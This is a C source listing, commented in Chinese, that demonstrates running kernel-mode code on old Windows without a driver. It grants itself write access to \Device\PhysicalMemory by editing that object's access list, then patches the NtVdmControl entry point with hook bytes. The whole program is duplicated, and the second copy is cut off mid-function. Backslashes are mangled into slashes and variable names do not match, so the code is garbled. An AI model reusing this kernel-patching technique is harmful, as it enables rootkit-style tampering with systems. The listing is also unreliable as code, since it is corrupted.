// 原理:通过/Device/PhysicalMemory修改NtVdmControl入口,跳转到Ring0Code
//************************************************************************
#include <Windows.h>
#include <Ntsecapi.h>
#include <Aclapi.h>
#pragma comment (lib,"ntdll.lib") // Copy From DDK
#pragma comment (lib,"Kernel32.lib")
#pragma comment (lib,"Advapi32.lib")
//------------------ 数据类型声明开始 --------------------//
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef enum _SECTION_INHERIT {
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;
typedef struct _MY_PROCESS_INFO {
ULONG PID;
ULONG KPEB;
ULONG CR3;
CHAR Name[16];
ULONG Reserved;
} MY_PROCESS_INFO, *PMY_PROCESS_INFO;
typedef long NTSTATUS;
//------------------ 数据类型声明结束 --------------------//
//--------------------- 预定义开始 -----------------------//
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_SUCCESS 0x00000000
#define STATUS_UNSUCCESSFUL 0xC0000001
#define STATUS_NOT_IMPLEMENTED 0xC0000002
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define STATUS_INVALID_PARAMETER 0xC000000D
#define STATUS_ACCESS_DENIED 0xC0000022
#define STATUS_BUFFER_TOO_SMALL 0xC0000023
#define OBJ_KERNEL_HANDLE 0x00000200
#define SystemModuleInformation 11
#define InitializeObjectAttributes( p, n, a, r, s ) { / /* 注意,由于php标签过滤,以下6行缺少续行符/ */
(p)->Length = sizeof( OBJECT_ATTRIBUTES );
(p)->RootDirectory = r;
(p)->Attributes = a;
(p)->ObjectName = n;
(p)->SecurityDescriptor = s;
(p)->SecurityQualityOfService = NULL;
}
//--------------------- 预定义结束 -----------------------//
//------------------ Native API声明开始 ------------------//
NTSYSAPI
VOID
NTAPI
RtlInitUnicodeString(
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);
NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
NTSYSAPI
NTSTATUS
NTAPI
ZwOpenSection(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSYSAPI
NTSTATUS
NTAPI
ZwMapViewOfSection(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PULONG ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect
);
NTSYSAPI
NTSTATUS
NTAPI
ZwUnmapViewOfSection(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress
);
NTSYSAPI
NTSTATUS
NTAPI
ZwClose(
IN HANDLE Handle
);
NTSYSAPI
NTSTATUS
NTAPI
NtVdmControl(
IN ULONG ControlCode,
IN PVOID ControlData
);
//------------------ Native API声明结束 ------------------//
//------------------ 全局变量定义开始 --------------------//
NTSTATUS
(NTAPI *pfnNtVdmControl)(
IN ULONG ControlCode,
IN PVOID ControlData
);
BOOLEAN
(NTAPI *pfnPsGetVersion)(
PULONG MajorVersion OPTIONAL,
PULONG MinorVersion OPTIONAL,
PULONG BuildNumber OPTIONAL,
PUNICODE_STRING CSDVersion OPTIONAL
);
HANDLE
(NTAPI *pfnPsGetCurrentProcessId)(
);
PVOID
(NTAPI *pfnMemcpy)(
IN VOID UNALIGNED *Destination,
IN CONST VOID UNALIGNED *Source,
IN SIZE_T Length
);
ULONG
(_cdecl *pfnDbgPrint)(
IN PCHAR Format,
...
);
ULONG *pPsInitialSystemProcess;
//------------------ 全局变量定义结束 --------------------//
// 获取指定模块的基址
PVOID GetModuleBase(PCSTR name)
{
NTSTATUS status;
PVOID pBuffer, pModule;
ULONG nRetSize, i, n;
PSYSTEM_MODULE_INFORMATION pmi;
pBuffer = LocalAlloc(LPTR, 0x1000);
if (NULL == pBuffer)
{
printf("LocalAlloc[0] Failed: %d/n", GetLastError());
return NULL;
}
status = ZwQuerySystemInformation(SystemModuleInformation, pBuffer, 0x1000, &nRetSize);
if (STATUS_INFO_LENGTH_MISMATCH == status)
{
// 缓冲区太小,重新分配
LocalFree(pBuffer);
pBuffer = LocalAlloc(LPTR, nRetSize);
if (NULL == pBuffer)
{
printf("LocalAlloc[1] Failed: %d/n", GetLastError());
return NULL;
}
status = ZwQuerySystemInformation(SystemModuleInformation, pBuffer, nRetSize, &nRetSize);
}
if (!NT_SUCCESS(status))
{
printf("ZwQuerySystemInformation Failed: %d/n", LsaNtStatusToWinError(status));
LocalFree(pBuffer);
return NULL;
}
pmi = (PSYSTEM_MODULE_INFORMATION)((ULONG)pBuffer + 4);
n = *(ULONG*)pBuffer;
pModule = NULL;
// 搜索指定的模块名,获取基址
for (i=0; i<n; i++)
{
if (!_stricmp(pmi->ImageName+pmi->ModuleNameOffset, name))
{
pModule = pmi->Base;
break;
}
pmi++;
}
LocalFree(pBuffer);
return pModule;
}
// 获取/Device/PhysicalMemory的可读写句柄
HANDLE OpenPhysicalMemory()
{
DWORD dwRet;
NTSTATUS status;
UNICODE_STRING name;
OBJECT_ATTRIBUTES oa;
EXPLICIT_ACCESS ea;
PSECURITY_DESCRIPTOR pSD;
PACL pDacl = NULL;
PACL pNewDacl = NULL;
HANDLE hSection = NULL;
HANDLE hSectionRet = NULL;
RtlInitUnicodeString(&name, L"//Device//PhysicalMemory");
InitializeObjectAttributes(&oa, &name, OBJ_KERNEL_HANDLE, NULL, NULL);
// 以可读写Section权限打开PhysicalMemory
status = ZwOpenSection(&hSectionRet, SECTION_MAP_READ | SECTION_MAP_WRITE, &oa);
if (NT_SUCCESS(status)) goto FreeAndExit; // 打开成功,直接返回
if (status != STATUS_ACCESS_DENIED)
{
// 错误,但非权限不足,打开失败
printf("ZwOpenSection[0] Failed: %d/n", LsaNtStatusToWinError(status));
hSectionRet = NULL;
goto FreeAndExit;
}
// 以可读写ACL权限打开PhysicalMemory
status = ZwOpenSection(&hSection, READ_CONTROL | WRITE_DAC, &oa);
if (!NT_SUCCESS(status))
{
printf("ZwOpenSection[1] Failed: %d/n", LsaNtStatusToWinError(status));
goto FreeAndExit;
}
// 获取PhysicalMemory的DACL
dwRet = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,
NULL, NULL, &pDacl, NULL, &pSD);
if (dwRet != ERROR_SUCCESS)
{
printf("GetSecurityInfo Failed: %d/n", dwRet);
goto FreeAndExit;
}
// 创建一个ACE,允许当前用户读写PhysicalMemory
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = SECTION_MAP_READ | SECTION_MAP_WRITE;
ea.grfAccessMode = GRANT_ACCESS;
ea.grfInheritance = NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
ea.Trustee.ptstrName = "CURRENT_USER";
// 将新的ACE加入DACL
dwRet = SetEntriesInAcl(1, &ea, pDacl, &pNewDacl);
if (dwRet != ERROR_SUCCESS)
{
printf("SetEntriesInAcl Failed: %d/n", dwRet);
goto FreeAndExit;
}
// 更新PhysicalMemory的DACL
dwRet = SetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,
NULL, NULL, pNewDacl, NULL);
if (dwRet != ERROR_SUCCESS)
{
printf("SetSecurityInfo Failed: %d/n", dwRet);
goto FreeAndExit;
}
// 再次以可读写权限打开PhysicalMemory
status = ZwOpenSection(&hSectionRet, SECTION_MAP_READ | SECTION_MAP_WRITE, &oa);
if (!NT_SUCCESS(status))
{
printf("ZwOpenSection[2] Failed: %d/n", LsaNtStatusToWinError(status));
goto FreeAndExit;
}
FreeAndExit:
if (pSD) LocalFree(pSD);
if (pNewDacl) LocalFree(pNewDacl);
if (hSection) ZwClose(hSection);
return hSectionRet;
}
// 将物理内存映射到当前进程的用户空间
PVOID MapPhysicalMemory(HANDLE hSection, // 物理内存的Section句柄
ULONG Offset, // 映射起始偏移量,相对于物理内存的0地址
ULONG CommitSize // 映射范围
)
{
NTSTATUS status;
PVOID BaseAddress = NULL;
LARGE_INTEGER PhysicalAddress = {Offset, 0};
SIZE_T ViewSize = CommitSize;
status = ZwMapViewOfSection(hSection, (HANDLE)-1, &BaseAddress, 0,
CommitSize, &PhysicalAddress, &ViewSize, ViewShare, 0, PAGE_READWRITE);
if (!NT_SUCCESS(status))
{
printf("ZwMapViewOfSection Failed: %d/n", LsaNtStatusToWinError(status));
return NULL;
}
return BaseAddress;
}
// 在Ring0执行的代码。这里演示如何获取每个进程的PID、KPEB、CR3和ImageName
NTSTATUS Ring0Code(ULONG size, // 缓冲区大小
PULONG buffer) // 缓冲区指针,指向调用者分配的缓存
// 参数个数与NtVdmControl一致,以平衡堆栈
{
ULONG BuildNumber;
ULONG ListOffset;
ULONG PIDOffset;
ULONG NameOffset;
PLIST_ENTRY ListHead, ListPtr;
PMY_PROCESS_INFO mypi;
pfnDbgPrint("Run in Ring0!/n"); // 输出调试信息
pfnPsGetVersion(NULL, NULL, &BuildNumber, NULL);
pfnDbgPrint("BuildNumber = %d/n", BuildNumber);
switch (BuildNumber) // 各版本OS的KPEB结构不同
{
case 2195: // Win2000
ListOffset = 0xa0;
PIDOffset = 0x9c;
NameOffset = 0x1fc;
break;
case 2600: // WinXP
ListOffset = 0x88;
PIDOffset = 0x84;
NameOffset = 0x174;
break;
case 3790: // Win2003
ListOffset = 0x88;
PIDOffset = 0x84;
NameOffset = 0x154;
break;
default:
return STATUS_NOT_IMPLEMENTED;
}
if (size<4) return STATUS_BUFFER_TOO_SMALL;
size -= 4;
if (NULL == buffer) return STATUS_INVALID_PARAMETER;
*buffer = 0L; // 缓存的第一个ULONG用于保存进程总数
mypi = (PMY_PROCESS_INFO)(buffer + 1);
// 历遍ActiveProcessLinks
ListHead = ListPtr = (PLIST_ENTRY)(*pPsInitialSystemProcess + ListOffset);
while (ListPtr->Flink != ListHead)
{
if (size < sizeof(MY_PROCESS_INFO)) return STATUS_BUFFER_TOO_SMALL;
mypi->KPEB = (ULONG)ListPtr - ListOffset;
mypi->PID = *(ULONG*)(mypi->KPEB + PIDOffset);
mypi->CR3 = *(ULONG*)(mypi->KPEB + 0x18);
pfnMemcpy(mypi->Name, (PVOID)(mypi->KPEB + NameOffset), 16);
(*buffer)++;
mypi++;
size -= sizeof(MY_PROCESS_INFO);
ListPtr = ListPtr->Flink;
}
return STATUS_SUCCESS;
}
// 显示进程信息
void ListProcessInfo(PULONG buffer)
{
ULONG i, n = *buffer;
PMY_PROCESS_INFO mypi = (PMY_PROCESS_INFO)(buffer + 1);
printf(" PID KPEB CR3 Name/n"
" ---- -------- -------- ----/n");
for (i=0; i<n; i++)
{
printf(" %-4d %08x %08x %s/n",
mypi->PID, mypi->KPEB, mypi->CR3, mypi->Name);
mypi++;
}
}
void main()
{
char *Kernel = "ntoskrnl.exe";
PVOID pKernel = NULL;
HMODULE hKernel = NULL;
HANDLE hSection = NULL;
char *mapping = NULL;
PVOID buffer = NULL;
ULONG offset;
NTSTATUS status;
char origCode[24], HookCode[24] =
"/xE8/xFF/xFF/xFF/xFF" // call 0xffffffff ;nt!PsGetCurrentProcessId
"/x3D/xEE/xEE/xEE/xEE" // cmp eax, 0xeeeeeeee ;自己的PID
"/x75/x05" // jne $Content$5
"/xE9/xDD/xDD/xDD/xDD" // jmp 0xdddddddd ;Ring0Code
"/xB8/x01/x00/x00/xC0" // mov eax, 0xc0000001 ;STATUS_UNSUCCESSFUL
"/xC3"; // ret
printf("/n -=< Run Ring0 Code Without Driver Demo >=-/n/n");
// 获取系统核心模块ntoskrnl.exe的基址
pKernel = GetModuleBase(Kernel);
if (NULL == pKernel) return;
if ((ULONG)pKernel < 0x80000000 || (ULONG)pKernel > 0x9FFFFFFF)
{
// 模块基址超出直接内存映射范围
printf("Error: Kernel module base (%08x) is out of range./n", pKernel);
return;
}
// 在用户态加载一份ntoskrnl.exe
hKernel = LoadLibrary(Kernel);
if (NULL == hKernel)
{
printf("LoadLibrary Failed: %d/n", GetLastError());
return;
}
// 获取内核例程/变量在用户态的相对位置
if ((pfnMemcpy = (PVOID)GetProcAddress(hKernel, "memcpy")) &&
(pfnDbgPrint = (PVOID)GetProcAddress(hKernel, "DbgPrint")) &&
(pfnNtVdmControl = (PVOID)GetProcAddress(hKernel, "NtVdmControl")) &&
(pfnPsGetVersion = (PVOID)GetProcAddress(hKernel, "PsGetVersion")) &&
(pfnPsGetCurrentProcessId = (PVOID)GetProcAddress(hKernel, "PsGetCurrentProcessId")) &&
(pPsInitialSystemProcess = (PVOID)GetProcAddress(hKernel, "PsInitialSystemProcess")));
else
{
printf("GetProcAddress Failed: %d/n", GetLastError());
goto FreeAndExit;
}
// 计算内核例程/变量的实际地址
offset = (ULONG)pKernel - (ULONG)hKernel;
(ULONG)pfnMemcpy += offset;
(ULONG)pfnDbgPrint += offset;
(ULONG)pfnNtVdmControl += offset;
(ULONG)pfnPsGetVersion += offset;
(ULONG)pfnPsGetCurrentProcessId += offset;
(ULONG)pPsInitialSystemProcess += offset;
// 设置HookCode
*(ULONG*)(HookCode+1) = (ULONG)pfnPsGetCurrentProcessId - (ULONG)pfnNtVdmControl - 5;
*(ULONG*)(HookCode+6) = GetCurrentProcessId();
*(ULONG*)(HookCode+13) = (ULONG)Ring0Code - (ULONG)pfnNtVdmControl - 17;
// 打开物理内存Section
hSection = OpenPhysicalMemory();
if (NULL == hSection) goto FreeAndExit;
// 映射NtVdmControl入口附近的内存
offset = (ULONG)pfnNtVdmControl & 0x1FFFF000; // 转换到物理内存页地址
mapping = MapPhysicalMemory(hSection, offset, 0x2000);
if (NULL == mapping) goto FreeAndExit;
// 保存NtVdmControl入口代码
offset = (ULONG)pfnNtVdmControl & 0x00000FFF; // 页内偏移
memcpy(OrigCode, mapping+offset, 24);
buffer = LocalAlloc(LPTR, 0x1000);
if (NULL == buffer)
{
printf("LocalAlloc Failed: %d/n", GetLastError());
goto FreeAndExit;
}
memcpy(mapping+offset, HookCode, 24); // 挂钩NtVdmControl
status = NtVdmControl(0x1000, buffer); // 调用NtVdmControl,进入Ring0
memcpy(mapping+offset, origCode, 24); // 还原NtVdmControl入口
if (!NT_SUCCESS(status))
{
printf("NtVdmControl Failed: %d/n", LsaNtStatusToWinError(status));
goto FreeAndExit;
}
ListProcessInfo(buffer);
FreeAndExit:
if (buffer != NULL) LocalFree(buffer);
if (mapping != NULL) ZwUnmapViewOfSection(hSection, mapping);
if (hSection != NULL) ZwClose(hSection);
if (hKernel != NULL) FreeLibrary(hKernel);
}
//************************************************************************
#include <Windows.h>
#include <Ntsecapi.h>
#include <Aclapi.h>
#pragma comment (lib,"ntdll.lib") // Copy From DDK
#pragma comment (lib,"Kernel32.lib")
#pragma comment (lib,"Advapi32.lib")
//------------------ 数据类型声明开始 --------------------//
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef enum _SECTION_INHERIT {
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;
typedef struct _MY_PROCESS_INFO {
ULONG PID;
ULONG KPEB;
ULONG CR3;
CHAR Name[16];
ULONG Reserved;
} MY_PROCESS_INFO, *PMY_PROCESS_INFO;
typedef long NTSTATUS;
//------------------ 数据类型声明结束 --------------------//
//--------------------- 预定义开始 -----------------------//
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_SUCCESS 0x00000000
#define STATUS_UNSUCCESSFUL 0xC0000001
#define STATUS_NOT_IMPLEMENTED 0xC0000002
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define STATUS_INVALID_PARAMETER 0xC000000D
#define STATUS_ACCESS_DENIED 0xC0000022
#define STATUS_BUFFER_TOO_SMALL 0xC0000023
#define OBJ_KERNEL_HANDLE 0x00000200
#define SystemModuleInformation 11
#define InitializeObjectAttributes( p, n, a, r, s ) { / /* 注意,由于php标签过滤,以下6行缺少续行符/ */
(p)->Length = sizeof( OBJECT_ATTRIBUTES );
(p)->RootDirectory = r;
(p)->Attributes = a;
(p)->ObjectName = n;
(p)->SecurityDescriptor = s;
(p)->SecurityQualityOfService = NULL;
}
//--------------------- 预定义结束 -----------------------//
//------------------ Native API声明开始 ------------------//
NTSYSAPI
VOID
NTAPI
RtlInitUnicodeString(
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);
NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
NTSYSAPI
NTSTATUS
NTAPI
ZwOpenSection(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSYSAPI
NTSTATUS
NTAPI
ZwMapViewOfSection(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PULONG ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect
);
NTSYSAPI
NTSTATUS
NTAPI
ZwUnmapViewOfSection(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress
);
NTSYSAPI
NTSTATUS
NTAPI
ZwClose(
IN HANDLE Handle
);
NTSYSAPI
NTSTATUS
NTAPI
NtVdmControl(
IN ULONG ControlCode,
IN PVOID ControlData
);
//------------------ Native API声明结束 ------------------//
//------------------ 全局变量定义开始 --------------------//
NTSTATUS
(NTAPI *pfnNtVdmControl)(
IN ULONG ControlCode,
IN PVOID ControlData
);
BOOLEAN
(NTAPI *pfnPsGetVersion)(
PULONG MajorVersion OPTIONAL,
PULONG MinorVersion OPTIONAL,
PULONG BuildNumber OPTIONAL,
PUNICODE_STRING CSDVersion OPTIONAL
);
HANDLE
(NTAPI *pfnPsGetCurrentProcessId)(
);
PVOID
(NTAPI *pfnMemcpy)(
IN VOID UNALIGNED *Destination,
IN CONST VOID UNALIGNED *Source,
IN SIZE_T Length
);
ULONG
(_cdecl *pfnDbgPrint)(
IN PCHAR Format,
...
);
ULONG *pPsInitialSystemProcess;
//------------------ 全局变量定义结束 --------------------//
// 获取指定模块的基址
PVOID GetModuleBase(PCSTR name)
{
NTSTATUS status;
PVOID pBuffer, pModule;
ULONG nRetSize, i, n;
PSYSTEM_MODULE_INFORMATION pmi;
pBuffer = LocalAlloc(LPTR, 0x1000);
if (NULL == pBuffer)
{
printf("LocalAlloc[0] Failed: %d/n", GetLastError());
return NULL;
}
status = ZwQuerySystemInformation(SystemModuleInformation, pBuffer, 0x1000, &nRetSize);
if (STATUS_INFO_LENGTH_MISMATCH == status)
{
// 缓冲区太小,重新分配
LocalFree(pBuffer);
pBuffer = LocalAlloc(LPTR, nRetSize);
if (NULL == pBuffer)
{
printf("LocalAlloc[1] Failed: %d/n", GetLastError());
return NULL;
}
status = ZwQuerySystemInformation(SystemModuleInformation, pBuffer, nRetSize, &nRetSize);
}
if (!NT_SUCCESS(status))
{
printf("ZwQuerySystemInformation Failed: %d/n", LsaNtStatusToWinError(status));
LocalFree(pBuffer);
return NULL;
}
pmi = (PSYSTEM_MODULE_INFORMATION)((ULONG)pBuffer + 4);
n = *(ULONG*)pBuffer;
pModule = NULL;
// 搜索指定的模块名,获取基址
for (i=0; i<n; i++)
{
if (!_stricmp(pmi->ImageName+pmi->ModuleNameOffset, name))
{
pModule = pmi->Base;
break;
}
pmi++;
}
LocalFree(pBuffer);
return pModule;
}
// 获取/Device/PhysicalMemory的可读写句柄
HANDLE OpenPhysicalMemory()
{
DWORD dwRet;
NTSTATUS status;
UNICODE_STRING name;
OBJECT_ATTRIBUTES oa;
EXPLICIT_ACCESS ea;
PSECURITY_DESCRIPTOR pSD;
PACL pDacl = NULL;
PACL pNewDacl = NULL;
HANDLE hSection = NULL;
HANDLE hSectionRet = NULL;
RtlInitUnicodeString(&name, L"//Device//PhysicalMemory");
InitializeObjectAttributes(&oa, &name, OBJ_KERNEL_HANDLE, NULL, NULL);
// 以可读写Section权限打开PhysicalMemory
status = ZwOpenSection(&hSectionRet, SECTION_MAP_READ | SECTION_MAP_WRITE, &oa);
if (NT_SUCCESS(status)) goto FreeAndExit; // 打开成功,直接返回
if (status != STATUS_ACCESS_DENIED)
{
// 错误,但非权限不足,打开失败
printf("ZwOpenSection[0] Failed: %d/n", LsaNtStatusToWinError(status));
hSectionRet = NULL;
goto FreeAndExit;
}
// 以可读写ACL权限打开PhysicalMemory
status = ZwOpenSection(&hSection, READ_CONTROL | WRITE_DAC, &oa);
if (!NT_SUCCESS(status))
{
printf("ZwOpenSection[1] Failed: %d/n", LsaNtStatusToWinError(status));
goto FreeAndExit;
}
// 获取PhysicalMemory的DACL
dwRet = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,
NULL, NULL, &pDacl, NULL, &pSD);
if (dwRet != ERROR_SUCCESS)
{
printf("GetSecurityInfo Failed: %d/n", dwRet);
goto FreeAndExit;
}
// 创建一个ACE,允许当前用户读写PhysicalMemory
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = SECTION_MAP_READ | SECTION_MAP_WRITE;
ea.grfAccessMode = GRANT_ACCESS;
ea.grfInheritance = NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
ea.Trustee.ptstrName = "CURRENT_USER";
// 将新的ACE加入DACL
dwRet = SetEntriesInAcl(1, &ea, pDacl, &pNewDacl);
if (dwRet != ERROR_SUCCESS)
{
printf("SetEntriesInAcl Failed: %d/n", dwRet);
goto FreeAndExit;
}
// 更新PhysicalMemory的DACL
dwRet = SetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,
NULL, NULL, pNewDacl, NULL);
if (dwRet != ERROR_SUCCESS)
{
printf("SetSecurityInfo Failed: %d/n", dwRet);
goto FreeAndExit;
}
// 再次以可读写权限打开PhysicalMemory
status = ZwOpenSection(&hSectionRet, SECTION_MAP_READ | SECTION_MAP_WRITE, &oa);
if (!NT_SUCCESS(status))
{
printf("ZwOpenSection[2] Failed: %d/n", LsaNtStatusToWinError(status));
goto FreeAndExit;
}
FreeAndExit:
if (pSD) LocalFree(pSD);
if (pNewDacl) LocalFree(pNewDacl);
if (hSection) ZwClose(hSection);
return hSectionRet;
}
// 将物理内存映射到当前进程的用户空间
PVOID MapPhysicalMemory(HANDLE hSection, // 物理内存的Section句柄
ULONG Offset, // 映射起始偏移量,相对于物理内存的0地址
ULONG CommitSize // 映射范围
)
{
NTSTATUS status;
PVOID BaseAddress = NULL;
LARGE_INTEGER PhysicalAddress = {Offset, 0};
SIZE_T ViewSize = CommitSize;
status = ZwMapViewOfSection(hSection, (HANDLE)-1, &BaseAddress, 0,
CommitSize, &PhysicalAddress, &ViewSize, ViewShare, 0, PAGE_READWRITE);
if (!NT_SUCCESS(status))
{
printf("ZwMapViewOfSection Failed: %d/n", LsaNtStatusToWinError(status));
return NULL;
}
return BaseAddress;
}
// 在Ring0执行的代码。这里演示如何获取每个进程的PID、KPEB、CR3和ImageName
NTSTATUS Ring0Code(ULONG size, // 缓冲区大小
PULONG buffer) // 缓冲区指针,指向调用者分配的缓存
// 参数个数与NtVdmControl一致,以平衡堆栈
{
ULONG BuildNumber;
ULONG ListOffset;
ULONG PIDOffset;
ULONG NameOffset;
PLIST_ENTRY ListHead, ListPtr;
PMY_PROCESS_INFO mypi;
pfnDbgPrint("Run in Ring0!/n"); // 输出调试信息
pfnPsGetVersion(NULL, NULL, &BuildNumber, NULL);
pfnDbgPrint("BuildNumber = %d/n", BuildNumber);
switch (BuildNumber) // 各版本OS的KPEB结构不同
{
case 2195: // Win2000
ListOffset = 0xa0;
PIDOffset = 0x9c;
NameOffset = 0x1fc;
break;
case 2600: // WinXP
ListOffset = 0x88;
PIDOffset = 0x84;
NameOffset = 0x174;
break;
case 3790: // Win2003
ListOffset = 0x88;
PIDOffset = 0x84;
NameOffset = 0x154;
break;
default:
return STATUS_NOT_IMPLEMENTED;
}
if (size<4) return STATUS_BUFFER_TOO_SMALL;
size -= 4;
if (NULL == buffer) return STATUS_INVALID_PARAMETER;
*buffer = 0L; // 缓存的第一个ULONG用于保存进程总数
mypi = (PMY_PROCESS_INFO)(buffer + 1);
// 历遍ActiveProcessLinks
ListHead = ListPtr = (PLIST_ENTRY)(*pPsInitialSystemProcess + ListOffset);
while (ListPtr->Flink != ListHead)
{
if (size < sizeof(MY_PROCESS_INFO)) return STATUS_BUFFER_TOO_SMALL;
mypi->KPEB = (ULONG)ListPtr - ListOffset;
mypi->PID = *(ULONG*)(mypi->KPEB + PIDOffset);
mypi->CR3 = *(ULONG*)(mypi->KPEB + 0x18);
pfnMemcpy(mypi->Name, (PVOID)(mypi->KPEB + NameOffset), 16);
(*buffer)++;
mypi++;
size -= sizeof(MY_PROCESS_INFO);
ListPtr = ListPtr->Flink;
}
return STATUS_SUCCESS;
}
// 显示进程信息
void ListProcessInfo(PULONG buffer)
{
ULONG i, n = *buffer;
PMY_PROCESS_INFO mypi = (PMY_PROCESS_INFO)(buffer + 1);
printf(" PID KPEB CR3 Name/n"
" ---- -------- -------- ----/n");
for (i=0; i<n; i++)
{
printf(" %-4d %08x %08x %s/n",
mypi->PID, mypi->KPEB, mypi->CR3, mypi->Name);
mypi++;
}
}
void main()
{
char *Kernel = "ntoskrnl.exe";
PVOID pKernel = NULL;
HMODULE hKernel = NULL;
HANDLE hSection = NULL;
char *mapping = NULL;
PVOID buffer = NULL;
ULONG offset;
NTSTATUS status;
char origCode[24], HookCode[24] =
"/xE8/xFF/xFF/xFF/xFF" // call 0xffffffff ;nt!PsGetCurrentProcessId
"/x3D/xEE/xEE/xEE/xEE" // cmp eax, 0xeeeeeeee ;自己的PID
"/x75/x05" // jne $Content$5
"/xE9/xDD/xDD/xDD/xDD" // jmp 0xdddddddd ;Ring0Code
"/xB8/x01/x00/x00/xC0" // mov eax, 0xc0000001 ;STATUS_UNSUCCESSFUL
"/xC3"; // ret
printf("/n -=< Run Ring0 Code Without Driver Demo >=-/n/n");
// 获取系统核心模块ntoskrnl.exe的基址
pKernel = GetModuleBase(Kernel);
if (NULL == pKernel) return;
if ((ULONG)pKernel < 0x80000000 || (ULONG)pKernel > 0x9FFFFFFF)
{
// 模块基址超出直接内存映射范围
printf("Error: Kernel module base (%08x) is out of range./n", pKernel);
return;
}
// 在用户态加载一份ntoskrnl.exe
hKernel = LoadLibrary(Kernel);
if (NULL == hKernel)
{
printf("LoadLibrary Failed: %d/n", GetLastError());
return;
}
// 获取内核例程/变量在用户态的相对位置
if ((pfnMemcpy = (PVOID)GetProcAddress(hKernel, "memcpy")) &&
(pfnDbgPrint = (PVOID)GetProcAddress(hKernel, "DbgPrint")) &&
(pfnNtVdmControl = (PVOID)GetProcAddress(hKernel, "NtVdmControl")) &&
(pfnPsGetVersion = (PVOID)GetProcAddress(hKernel, "PsGetVersion")) &&
(pfnPsGetCurrentProcessId = (PVOID)GetProcAddress(hKernel, "PsGetCurrentProcessId")) &&
(pPsInitialSystemProcess = (PVOID)GetProcAddress(hKernel, "PsInitialSystemProcess")));
else
{
printf("GetProcAddress Failed: %d/n", GetLastError());
goto FreeAndExit;
}
// 计算内核例程/变量的实际地址
offset = (ULONG)pKernel - (ULONG)hKernel;
(ULONG)pfnMemcpy += offset;
(ULONG)pfnDbgPrint += offset;
(ULONG)pfnNtVdmControl += offset;
(ULONG)pfnPsGetVersion += offset;
(ULONG)pfnPsGetCurrentProcessId += offset;
(ULONG)pPsInitialSystemProcess += offset;
// 设置HookCode
*(ULONG*)(HookCode+1) = (ULONG)pfnPsGetCurrentProcessId - (ULONG)pfnNtVdmControl - 5;
*(ULONG*)(HookCode+6) = GetCurrentProcessId();
*(ULONG*)(HookCode+13) = (ULONG)Ring0Code - (ULONG)pfnNtVdmControl - 17;
// 打开物理内存Section
hSection = OpenPhysicalMemory();
if (NULL == hSection) goto FreeAndExit;
// 映射NtVdmControl入口附近的内存
offset = (ULONG)pfnNtVdmControl & 0x1FFFF000; // 转换到物理内存页地址
mapping = MapPhysicalMemory(hSection, offset, 0x2000);
if (NULL == mapping) goto FreeAndExit;
// 保存NtVdmControl入口代码
offset = (ULONG)pfnNtVdmControl & 0x00000FFF; // 页内偏移
memcpy(OrigCode, mapping+offset, 24);
